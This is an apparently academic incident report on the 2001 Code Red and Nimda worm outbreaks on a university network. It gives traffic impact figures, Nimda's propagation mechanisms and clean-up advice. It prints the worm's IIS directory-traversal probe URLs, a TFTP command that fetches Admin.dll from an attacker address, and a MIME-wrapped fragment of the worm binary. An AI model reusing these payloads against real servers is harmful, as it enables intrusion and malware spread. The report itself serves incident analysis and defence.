Code Red and Nimda Worm Attack In Aug/Sep 2001

Code Red Attack in August

Impact

Our router was suffered from memory shortage because of the random 80 port scanning from infected Code Red host

From the router log, it shows:

MRTG of ERG CPU loading

Dozen of hosts are infected in Media world lab and RLAB.

From the httpd log, it showed:

From www.ie.cuhk.edu.hk httpd access_log, starting from 01st August up to 10th August, there are 396 hosts tried to attack www.ie.cuhk.edu.hk 446 times. Among these attacks, 127 attacks are from 73 CUHK hosts.

Impact

On 19th September 2001, three hosts in IE network are infected

• 137.189.96.victim1
• 137.189.98.victim2
• 137.189.98.victim3

The scan WebIIS cmd.exe access randomly and shot up our ERG router CPU loading to 40%

Here is the access_log of a web server:

At the end of 2001, our IDS still detect lots of CodeRed and Nimda attacks.

CodeRed attack in the past 28 days in Decemeber 2001

Nimda attack in the past 28 days in Decemeber 2001

OVERVIEW OF WORM PROPAGATION

The NIMDA worm attempts to propagate itself to new victims via four distinct mechanisms.

1. The worm scans the Internet looking for web servers and attempts to exploit a number of Microsoft webserver vulnerabilities to gain control of a victim host. Network attacks include exploitation of the "IIS/PWS Exetended Unicode Directory Traversal Vulnerability", the "IIS/PWS Escaped Character Decoding Command Execution Vulnerability", and utilization of backdoors left behind by previous Code Red II and Sadmind infections. Once in control of a victim IIS/PWS server, the worm uses TFTP to transfer its code from the attacking machine to the victim. The file transferred via TFTP is named "Admin.dll". IIS 3.0, 4.0, and 5.0 are all affected, as are Personal Web Server (PWS) 1.0 and 3.0.

   A short example of the web server probes launched by the worm is shown below. In practice, the pattern repeats itself; some reports indicate that the 16-probe sequence will be repeated against a single target as many as 13 times.

   GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../ winnt/system32/cmd.exe?/c+dir GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir Once the worm gains access to a vulnerable IIS webserver, it uses TFTP to fetch a file called Admin.dll from the infecting host. The following string is embedded in the worm executable: tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20

   The remote command issued by the attacking system may show up in webserver logs as follows (where XXX.XXX.XXX.XXX is the IP address of the attacker):

   GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll

2. The worm harvests email addresses from the Windows address book, user¡¦s inboxes/outboxes, and local HTML/HTM files and sends itself to all addresses as an attachment named "readme.exe". Note that any x86 email software that uses a vulnerable version of Internet Explorer to display HTML messages will automatically execute the malicious attachment if the message is merely opened or previewed. This happens because the worm MIME encodes the attachment to take advantage of a known vulnerability called "Automatic Execution of Embedded MIME Types" (see CERT advisory CA-2001-06 ). Microsoft¡¦s Outlook and Outlook Express are the most typical victims. Every ten days the worm regenerates its list of email addresses and sends itself to all.

3. If the worm successfully infects a web server, it uses the HTTP service to propagate itself to clients that browse the web server¡¦s pages. Upon infecting a victim server, the worm creates a MIME-encoded copy of itself named "README.EML" and traverses the directory tree searching for web-related files such as those with .HTML, .HTM, or .ASP extensions. Each time the worm finds a web content file, it appends a piece of JavaScript to the file. The JavaScript forces a download of README.EML to any client that views the file via a browser. Some versions of Internet Explorer will automatically execute the README.EML file and allow the worm to infect the client. The IE vulnerability issue here is the same as in the email propagation mechanism; that is, IE 5.5 SP1 or earlier is vulnerable to the "Automatic Execution of Embedded MIME Types" problem. Allowing JavaScript in the browser enables the worm to take advantage of the IE vulnerability.

   An infected web server will append the following line in its web server's pages

   The "readme.eml" will disguise as a audio/x-wav file as follows:

   MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC123456j7890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC123456j7890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC09876j54321DEF_====" --====_ABC09876j54321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff> <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0> </iframe></BODY></HTML> --====_ABC09876j54321DEF_====-- --====_ABC123456j7890DEF_==== Content-Type: audio/x-wav; name="sample.exe" Content-Transfer-Encoding: base64 Content-ID: <EA4DMGBP9p> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAM38kE0AAI9/UEUAAEwBBQBAw8I7 AAAAAAAAAADgAA4BCwEGAABwAAAA8H8AAAAAAAd1AAAAEAAAAIAAAAAANzcAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAoIAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
4. The worm is network aware and propagates via open file shares. It will copy itself to all directories, including those found on a network share, for which the user has write permission. The worm will search the shared drives for execuatables, and attach itself to each execuatble it finds. Any other host that accesses the share and loads one of these files can become infected.

CLEAN-UP:

Any system that has been infected with this worm will be difficult to clean due to how the worm copies itself all over the directory tree and trojans numerous binaries. The recommended response is to disconnect the system from the network, reformat the hard drive, reinstall the system software, install any necessary security patches, and then reconnect the system to the network. No other reliable means of cleaning the worm is currently known to exist.

References:

• Code Red Threat FAQ http://www.incidents.org/react/code_red.html

• Code Red II Worm Analysis http://www.incidents.org/react/code_redII.html

• NIMDA Worm/Virus Report from www.incidents.org http://www.incidents.org/react/nimda.pdf

• The Nimda Worm: An Overview http://www.sans.org/rr/papers/36/95.pdf